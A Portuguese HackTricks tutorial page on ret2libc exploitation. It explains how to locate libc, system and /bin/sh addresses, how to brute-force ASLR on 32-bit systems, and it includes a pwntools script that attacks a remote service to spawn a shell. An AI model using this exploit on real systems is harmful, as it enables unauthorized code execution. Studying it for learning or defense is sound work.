7.1 KiB
Ret2lib
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
A essência do Ret2Libc é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, system, execve, strcpy) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria uma carga útil que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, ao mesmo tempo que organiza os argumentos necessários para serem configurados corretamente de acordo com a convenção de chamada.
Passos de Exemplo (simplificados)
- Obter o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh)
- Gerar uma cadeia ROP para passar o primeiro argumento apontando para a string de comando e o fluxo de execução para a função
Encontrando os endereços
- Supondo que a
libc
usada seja a do computador atual, você pode encontrar onde ela será carregada na memória com:
{% code overflow="wrap" %}
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
{% endcode %}
Se desejar verificar se o ASLR está alterando o endereço da libc, você pode fazer:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Sabendo qual libc está sendo usada, também é possível encontrar o deslocamento para a função
system
com:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Sabendo qual libc está sendo usada, também é possível encontrar o deslocamento para a função da string
/bin/sh
com:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Usando gdb-peda / GEF
Sabendo a libc usada, também é possível usar Peda ou GEF para obter o endereço da função system, da função exit e da string /bin/sh
:
p system
p exit
find "/bin/sh"
Usando /proc/<PID>/maps
Se o processo estiver criando filhos toda vez que você interage com ele (servidor de rede), tente ler esse arquivo (provavelmente você precisará ser root).
Aqui você pode encontrar exatamente onde a libc está carregada dentro do processo e onde será carregada para cada filho do processo.
Neste caso, ela está carregada em 0xb75dc000 (Este será o endereço base da libc)
Libc desconhecida
Pode ser possível que você não saiba qual libc o binário está carregando (porque pode estar localizado em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para vazar alguns endereços e descobrir qual biblioteca libc está sendo usada:
{% content-ref url="rop-leaking-libc-address/" %} rop-leaking-libc-address {% endcontent-ref %}
E você pode encontrar um modelo do pwntools para isso em:
{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
Bypassing ASLR em 32 bits
Esses ataques de força bruta são apenas úteis para sistemas de 32 bits.
- Se o exploit for local, você pode tentar forçar a base de endereços da libc (útil para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Ao atacar um servidor remoto, você pode tentar forçar o endereço da função
usleep
dalibc
, passando como argumento 10 (por exemplo). Se em algum momento o servidor demorar 10s extras para responder, você encontrou o endereço dessa função.
One Gadget
{% content-ref url="../../one-gadget.md" %} one-gadget.md {% endcontent-ref %}
Exemplo de Código Ret2lib x86
Neste exemplo, a força bruta ASLR está integrada no código e o binário vulnerável está localizado em um servidor remoto:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
Exemplo de Código x64 Ret2lib
Verifique o exemplo em:
{% content-ref url="../rop-return-oriented-programing.md" %} rop-return-oriented-programing.md {% endcontent-ref %}
Ret-into-printf (ou puts)
Isso permite vazar informações do processo chamando printf
/puts
com alguns dados específicos colocados como argumento.
Ret2printf
Basicamente significa abusar de um Ret2lib para transformá-lo em uma vulnerabilidade de strings de formato printf
usando o ret2lib
para chamar printf com os valores para explorá-lo (parece inútil, mas é possível):
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud github repos.